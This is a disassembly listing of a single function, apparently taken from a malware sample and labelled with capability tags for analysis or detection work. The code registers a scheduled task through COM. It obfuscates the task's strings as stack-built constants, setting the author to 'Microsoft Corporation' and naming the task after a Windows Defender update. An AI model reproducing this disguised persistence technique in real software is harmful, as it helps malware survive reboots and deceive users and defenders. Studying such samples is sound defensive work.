Function at 0x10002388
Capabilities:
Contain obfuscated stackstrings
Reference processor manufacturer constants
Schedule task via itaskservice

Disassembly:
push 0x420
mov eax, 0x10016e0d
call fcn.10013f40
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
push 6
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
lea eax, [ebp - 0x350]
push eax
push 0x100182e8
push 1
push ebx
push 0x100184f8
call dword [sym.imp.ole32.dll_CoCreateInstance]
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [ebp - 4], ebx
lea esi, [ebp - 0x40c]
lea edi, [ebp - 0x38c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x3dc]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x3dc]
lea edi, [ebp - 0x39c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x3ec]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x3ec]
lea edi, [ebp - 0x3ac]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x42c]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 3
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x38c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x39c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x350]
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x3ac]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x42c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x28]
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x42c]
push eax
call edi
lea eax, [ebp - 0x3ec]
push eax
call edi
lea eax, [ebp - 0x3dc]
push eax
call edi
lea eax, [ebp - 0x40c]
or esi, 0xffffffff
push eax
mov dword [ebp - 4], esi
call edi
push 0x1001a7f4
lea edi, [ebp - 0x348]
call fcn.100016ca
mov dword [ebp - 4], 4
mov eax, dword [eax]
cmp eax, ebx
je 0x100024d1
mov ecx, dword [eax]
jmp 0x100024d3
xor ecx, ecx
mov eax, dword [ebp - 0x350]
mov edx, dword [eax]
lea edi, [ebp - 0x370]
push edi
push ecx
push eax
call dword [edx + 0x1c]
lea edi, [ebp - 0x348]
mov dword [ebp - 4], esi
call fcn.1000172a
mov eax, dword [ebp - 0x350]
mov ecx, dword [eax]
lea edx, [ebp - 0x34c]
push edx
push ebx
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x34c]
mov ecx, dword [eax]
lea edx, [ebp - 0x364]
push edx
push eax
call dword [ecx + 0x1c]
lea eax, [ebp - 0x2c]
push eax
lea edi, [ebp - 0x348]
mov dword [ebp - 0x2c], 0x7263694d
mov dword [ebp - 0x28], 0x666f736f
mov dword [ebp - 0x24], 0x6f432074
mov dword [ebp - 0x20], 0x726f7072
mov dword [ebp - 0x1c], 0x6f697461
mov word [ebp - 0x18], 0x6e
call fcn.10001672
mov dword [ebp - 4], 5
mov eax, dword [eax]
cmp eax, ebx
je 0x10002565
mov eax, dword [eax]
jmp 0x10002567
xor eax, eax
mov ecx, dword [ebp - 0x364]
mov edx, dword [ecx]
push eax
push ecx
call dword [edx + 0x28]
lea edi, [ebp - 0x348]
mov dword [ebp - 4], esi
call fcn.1000172a
mov eax, dword [ebp - 0x34c]
mov ecx, dword [eax]
lea edx, [ebp - 0x358]
push edx
push eax
call dword [ecx + 0x3c]
mov eax, dword [ebp - 0x358]
mov ecx, dword [eax]
push 3
push eax
call dword [ecx + 0x38]
mov eax, dword [ebp - 0x358]
mov ecx, dword [eax]
push 1
push eax
call dword [ecx + 0x48]
mov eax, dword [ebp - 0x34c]
mov ecx, dword [eax]
lea edx, [ebp - 0x354]
push edx
push eax
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x354]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x58]
mov eax, dword [ebp - 0x354]
mov ecx, dword [eax]
lea edx, [ebp - 0x3c8]
push edx
push eax
call dword [ecx + 0x9c]
push 0x1001a7f8
lea edi, [ebp - 0x348]
call fcn.100016ca
mov dword [ebp - 4], 6
mov eax, dword [eax]
cmp eax, ebx
je 0x10002608
mov eax, dword [eax]
jmp 0x1000260a
xor eax, eax
mov ecx, dword [ebp - 0x354]
mov edx, dword [ecx]
push eax
push ecx
call dword [edx + 0x70]
lea edi, [ebp - 0x348]
mov dword [ebp - 4], esi
call fcn.1000172a
mov eax, dword [ebp - 0x34c]
mov ecx, dword [eax]
lea edx, [ebp - 0x360]
push edx
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 0x360]
mov ecx, dword [eax]
lea edx, [ebp - 0x3b0]
push edx
push 9
push eax
call dword [ecx + 0x28]
mov eax, dword [ebp - 0x34c]
mov ecx, dword [eax]
lea edx, [ebp - 0x35c]
push edx
push eax
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x35c]
mov ecx, dword [eax]
lea edx, [ebp - 0x36c]
push edx
push ebx
push eax
call dword [ecx + 0x30]
mov eax, dword [ebp - 0x36c]
mov ecx, dword [eax]
lea edx, [ebp - 0x374]
push edx
push str.MbLk
push eax
call dword [ecx]
push 0xfe
lea eax, [ebp - 0x143]
push ebx
push eax
mov byte [ebp - 0x144], bl
call fcn.1000c980
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x144]
add esp, 0xc
sub eax, esi
mov cl, byte [esi]
mov byte [eax + esi], cl
inc esi
cmp cl, bl
jne 0x100026b1
xor eax, eax
push 0x1fc
mov word [ebp - 0x344], ax
lea eax, [ebp - 0x342]
push ebx
push eax
call fcn.1000c980
push 0xff
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x344]
push eax
call fcn.1000ac5d
mov esi, dword [sym.imp.OLEAUT32.dll_SysReAllocString]
add esp, 0x18
lea eax, [ebp - 0x344]
push eax
call esi
lea eax, [ebp - 0x344]
push eax
lea edi, [ebp - 0x348]
call fcn.100016ca
mov dword [ebp - 4], 7
mov eax, dword [eax]
cmp eax, ebx
je 0x10002723
mov ecx, dword [eax]
jmp 0x10002725
xor ecx, ecx
mov eax, dword [ebp - 0x374]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x2c]
or dword [ebp - 4], 0xffffffff
lea edi, [ebp - 0x348]
call fcn.1000172a
push 8
pop edi
mov eax, edi
push 0x1001a804
mov dword [ebp - 0x44], 0x646e6957
mov dword [ebp - 0x40], 0x4420776f
mov dword [ebp - 0x3c], 0x6e656665
mov dword [ebp - 0x38], 0x20726564
mov dword [ebp - 0x34], 0x61647155
mov word [ebp - 0x30], 0x6174
mov byte [ebp - 0x2e], bl
mov word [ebp - 0x3c4], ax
call esi
mov dword [ebp - 0x3bc], eax
cmp eax, ebx
jne 0x10002794
push 0x8007000e
call fcn.1000a8d0
mov dword [ebp - 4], edi
lea esi, [ebp - 0x3c4]
lea edi, [ebp - 0x3ac]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x41c]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
lea esi, [ebp - 0x41c]
lea edi, [ebp - 0x39c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x3fc]
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x3fc]
lea edi, [ebp - 0x38c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x44]
movsd dword es:[edi], dword [esi]
push eax
lea edi, [ebp - 0x368]
call fcn.10001672
mov byte [ebp - 4], 0xb
mov eax, dword [eax]
cmp eax, ebx
je 0x10002802
mov eax, dword [eax]
jmp 0x10002804
xor eax, eax
lea esi, [ebp - 0x378]
push esi
sub esp, 0x10
mov edi, esp
lea esi, [ebp - 0x3ac]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 3
sub esp, 0x10
mov edi, esp
mov ecx, dword [ebp - 0x370]
lea esi, [ebp - 0x39c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edx, dword [ecx]
movsd dword es:[edi], dword [esi]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x38c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 6
push dword [ebp - 0x34c]
movsd dword es:[edi], dword [esi]
push eax
push ecx
movsd dword es:[edi], dword [esi]
call dword [edx + 0x44]
lea edi, [ebp - 0x368]
call fcn.1000172a
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x3fc]
push eax
call esi
lea eax, [ebp - 0x41c]
push eax
call esi
lea eax, [ebp - 0x3c4]
push eax
call esi
call dword [sym.imp.ole32.dll_CoUninitialize]
call fcn.10013f8a
ret